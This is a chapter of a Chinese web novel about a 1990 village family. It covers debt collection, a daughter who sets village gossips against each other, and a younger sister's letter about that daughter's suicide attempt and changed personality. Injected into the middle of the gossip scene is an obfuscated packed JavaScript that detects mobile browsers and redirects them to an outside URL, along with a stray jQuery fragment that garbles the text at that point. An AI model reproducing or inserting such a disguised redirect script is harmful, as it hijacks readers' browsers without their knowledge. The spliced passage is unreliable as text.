当喻庆山把五百块钱交给老婆时，刘瑞英喜出望外，连忙给父女俩下了面，还一人煎了一个荷包蛋。
晚上停了电，饭桌上的煤油灯照着一家四口。就着灯光，刘瑞英把钱数了又数，说：“你去了两趟都没收回来，怎么秀水一去，他就给了？”
喻庆山便把秀水怎么要钱、怎么在老张家蹭吃蹭喝的经过粗略讲了一遍，刘瑞英和秀竹听得又好笑，又瞠目结舌。
“……还能这样要账吗？”秀竹崇拜地看着姐姐。
秀水从饭碗里抬头，略有遗憾地咂嘴：“本来还想留下来吃晚饭的，他家腊肉不错，鸡窝里还有鸡蛋。没想到老张那么快就还钱了。”
喻庆山听了也笑，“你都挖了他家的豆瓣酱，还想吃腊肉？”
秀水理直气壮道：“借咱家钱五年了，连句感谢的话都不说，吃他点腊肉怎么了？”
“咱家也有腊肉！”刘瑞英忙说：“明天我给你们煎腊肉吃！”
“你们是没看到，”秀水喝着汤说：“我去挖酱的时候，张婆子心疼得脸都抖起来了！”
喻庆山和刘瑞英都笑起来。秀竹看看姐姐，又看父母，昏黄的灯光里，他们笑得那么满足，让她也觉得非常开心和满足。
她已经很久没在父母脸上看到这样的笑容了。他们总是疲惫又无奈，尤其是父亲收账回来的时候。他的懊恼和自责、母亲的抱怨和伤心，一度成了这个家必不可少的组成部分。现在，这些都烟消云散了。
要是这一刻能永远留下来，该多好啊。
第二天他们真的吃到了煎腊肉。刘瑞英从吊在房梁的腊肉上切下一块，平时只有家里来了客人，她才会这么奢侈。她把腊肉切成薄片，挂上面糊，在锅里煎得两面金黄。咬开焦酥的外壳，里面是琥珀色的腊肉。又香又有油，全家人都吃得很满足。等吃完饭，喻庆山一鼓作气，带着秀水继续去讨债。
一路上，秀水对喻庆山进行了洗脑式教育，希望在短时间里增强他脸皮的厚度。
“他都好意思找咱们借钱，你有啥不好意思拒绝的…”
“他都好意思耍赖，你有啥不好意思上门追债的…”
“他都好意思让你难堪，你有啥不好意思甩脸子的…”
“他都好意思……”
从来没有人跟喻庆山说过这些话。他九岁死了母亲，跟着父亲和姐姐哥哥过活。老实的父亲最常说的一句话就是“吃亏是福”。村里人也无不称赞他“为人仁义”。
父亲去世后，这个称赞由他继承了。年轻时他曾引以为傲，但到了四十多岁，喻庆山渐渐不以为然了。吃亏就是吃亏，吃亏不会给他带来福气，更不值得当作人生信条推崇。
想不到，他四十多岁才明白的道理，女儿早就看得透透的了。
频繁的洗脑成效卓著，喻庆山再去讨债，腰板都比往日挺直了些。连着跑了四五天，借出去的陈年旧债竟然陆续都追了回来。最后还剩下一家时，秀水懒得去了，让喻庆山自己去讨要。实在要不回来也不打紧，到时她再出马就是。
喻庆山便独自骑车去了那户人家，站在门外，他把“他都好意思耍赖，你有啥不好意思上门追债的”这句话在心里默念了三遍，这才走了进去，打招呼寒喧，然后提起还钱的事。
“家里过段时间想把老房子翻新一下，手头紧，”他局促地笑着，“之前借您的那三百块钱……”
对面的人也讪讪地笑，开始诉苦，早就想还钱了只是家里太困难，老婆生病了要花钱、孩子读书要花钱、牛跌伤了要花钱……，总之一句话，现在实在是没钱。
喻庆山微笑听着，硬着头皮继续讨要，“那要不，您再找别人周转周转？……现在红砖太紧俏，好容易跟窑场那边说了要五千块砖，急等着付定金呢……”
他一张老脸臊得通红，话也说得结结巴巴，但终归是把话说出口了。对面的人继续诉苦，东扯西拉地扯了一大篇故事。喻庆山也继续坐着不走，到最后双方话都说尽了，堂屋里弥漫着令人窒息的沉默。
“他都好意思让你难堪，你有啥不好意思甩脸子的？”
秀水的话忽然从喻庆山脑海中冒出来，他觉得愤怒，也笑累了，就不再笑。面无表情地坐了一会儿，他忽然道：“本来这话不该说的，可是你也知道，我家也有孩子要上学，我家的牛还是跟哥哥一家共用的，孩子她妈腰疼得爬不起来都舍不得去医院……当初是你说买牛急等着用钱，过几天卖了粮食就还我，我才东挪西凑借了三百块，如今都过去六七年了，做人可不能这样……”
老实人轻易不动怒，偶尔发作一次还是效果明显的。最后老头从里屋取了钱给他，还说了很多客气话，才把他送出屋外。喻庆山骑上自行车，恍恍惚惚地走出很远，才发现自己手心全是汗。
当天晚上，全家人都在饭桌上夸他，喻庆山觉得很不好意思。不过，有了这次成功的讨债经历，他迅速膨胀了，甚至觉得这事也没什么大不了，搞不懂自己之前为啥一次也没成功过。
自从跟杨定桂干过两仗，村里人现在看秀水的眼神也不一样了。大家都说，以前那个乖巧懂事的姑娘，现在变得疯疯癫癫的，可别有事没事去招惹她。但当面不招惹，背着她还不能蛐蛐几句吗？
风言风语传得多了，就传到了刘瑞英的耳中。正好这天喻庆海的老婆蒋士芳过来借秤，妯娌俩关系一向融洽，便坐在房里把那些说闲话的人一顿痛骂。
“……我听了那些话，真把我气苦了！”刘瑞英说：“这些人是不是吃饱了没事干？怎么就盯着我家秀水不放呢？”
“说来说去还不就是那几个人！”蒋士芳也愤愤地道：“天天坐在大榆树底下闲扯淡！前儿被我听见了，我还过去说了几句。他们看我发火，当时就散了。刚才我过来，看他们又坐在树底下开始了！”
“怎么？他们又在说我秀水？”刘瑞英急了，“这回我非过去吵一架不可！”
“没有没有！”蒋士芳忙拉住她，“就算听到了你别往心里去。那是什么好人吗？今天说东家，明天笑西家……”
两人说得痛快，没提防秀水在门外听得清清楚楚。她这两天正闲得长草，立刻决定去大榆树下搅一搅这潭浑水，斗一斗这歪风邪气。
到了榆树边，果然有五六个人坐在树下，女人们在择菜，男人抽着烟，说得可热闹了。远远看到秀水过来，大家都警惕地住了嘴，相互使着眼色。
秀水跟没看见一样，搬了个小凳，笑嘻嘻地凑过去，“大爷大妈婶子们，你们在说什么？怪热闹的。”
“聊会儿天，随便聊聊！”旁边的人忙笑着答。
“我最喜欢聊天了，那我也来聊一聊！”秀水兴致勃勃看着旁边的老头，“柳大爷，上回你在田埂边笑话李婶子，说她又懒又邋遢，从来不洗锅。是真的吗？那李婶家的锅该脏成啥样了啊？”
对面的李婶又羞又气，怒视柳老头。柳老头又惊又窘，摆手道：“我没说，可不是我说的！”
秀水不理他，又真诚向另一个妇女发问：“王大妈，上回听你说，陈婶的女儿屁股小，以后生不出儿子。为啥屁股小就不能生儿子啊？”
王大妈慌得忙说：“秀水你别胡说啊，这个话可不是我说的……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722569|189438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但陈婶还是气得拉下了脸，狗东西！老婆娘！你女儿屁股才小！你生的儿子没□□！
秀水又看剩下那两人：“刘叔，你是不是对父母不孝顺？我听人说，你把老人赶去住牛棚，真的吗？”
刘叔立刻叫骂起来：“放屁！哪个狗逼日的在外头传闲话？你听哪个说的？”
秀水便扭头看旁边的马大娘，马大娘连连摆手：“我可没说！我可没说！”
几个人在树下捉对厮杀起来，你骂我我骂你，声音响彻寂静的村庄。秀水坐在旁边看戏，时不时还插两句嘴，劝几句架。直到秀竹寻过来喊她回家吃饭，她才满足地站了起来。
秀竹悄悄问姐姐：“怎么了这是？怎么吵成这样？”
秀水笑，凑在她耳边说：“我就喜欢看狗咬狗。”
秀竹便知道这是姐姐捣的鬼。两姐妹穿过村庄，并排往家走。路上秀竹忽然问：“姐，你还记得咱们小时候的事么？”
“嗯？”秀水抬眼看她。
“有天我们和秀真姐顺着这条路去挑猪菜，”秀竹指着旁边一条小路，沉吟道：“碰到了一条很粗的蛇……”
秀水扭头看看，笑了一下，“我俩吓得哇哇叫，最后秀真用竹杆把蛇赶走了。”
秀竹不知怎么的，暗暗松了口气。姐姐仍然是她所熟悉的那个姐姐，只不过，她现在变得坚强勇敢了，…也变狡猾了。
第二天在学校里，趁着午休，秀竹决定给她的笔友写一封信。对方是她在《外星世界》杂志上结识的，两人已经持续通信一段时间了。
闹哄哄的教室里，有人在打牌，有人在打闹。秀竹独自趴在课桌上，认真地把想说的话写在一张信纸上，还神秘地用手盖着写好的部分。
“奇志你好！
很久没写信了。最近家里出了点事，我变得很忙碌，没有时间动笔。
因为我姐姐喝农药了。她去城里当保姆，被雇主欺负了，一时想不开，喝了农药自杀，被送到医院抢救。
你不知道，那天晚上我放学后，听大爷说到这件事时，我有多么惊恐。
我的姐姐是个很善良、很勤快的人，也很听话。妈妈让她学做衣服，她就学了；妈妈让她进城当保姆，她就去了。她心灵手巧，总是把活儿做得很好，还经常给我绣鞋垫、织手套。
在姐姐住院时，我做了很多噩梦，梦见的都是她死了，我们这个家也散了。幸好幸好！姐姐最后被医院救回来了。听妈妈说，本来那晚姐姐的心跳都已经停了，后来不知为什么——我猜一定是医生和护士一直没有放弃抢救吧——很幸运的，姐姐被救回来了。我们全家都因此而感激医院、感谢上天。
但我想告诉你的是，接下来的事情有点奇怪。姐姐回来了，但她经常让我觉得有点陌生。她还是原来的样子，但她会跟人吵架了，还打了村里一个毒妇。那个女人真的很坏，经常欺负我妈，在村里惹是生非，很多人都又讨厌她又害怕她。但我的姐姐把她制服了。
我的心情很复杂。一方面我很喜欢这种改变，我再也不希望姐姐被人欺负了，更不希望她憋屈地服毒自杀。可是，有时我也会想，姐姐的身体里是不是住着另外一个人。是不是她太委屈了，对这个世界太失望了，才让别人代管了她的身体。
那姐姐还是我的姐姐吗？我觉得是。你觉得呢？
今天罗里罗嗦说了很多我家的事。因为这种奇怪的想法，我无法告诉爸妈，也不能跟身边的朋友诉说，只能对你倾诉了。一定要替我保密呀。
顺祝一切安好！
你的朋友绿枝。
一九九零年五月。”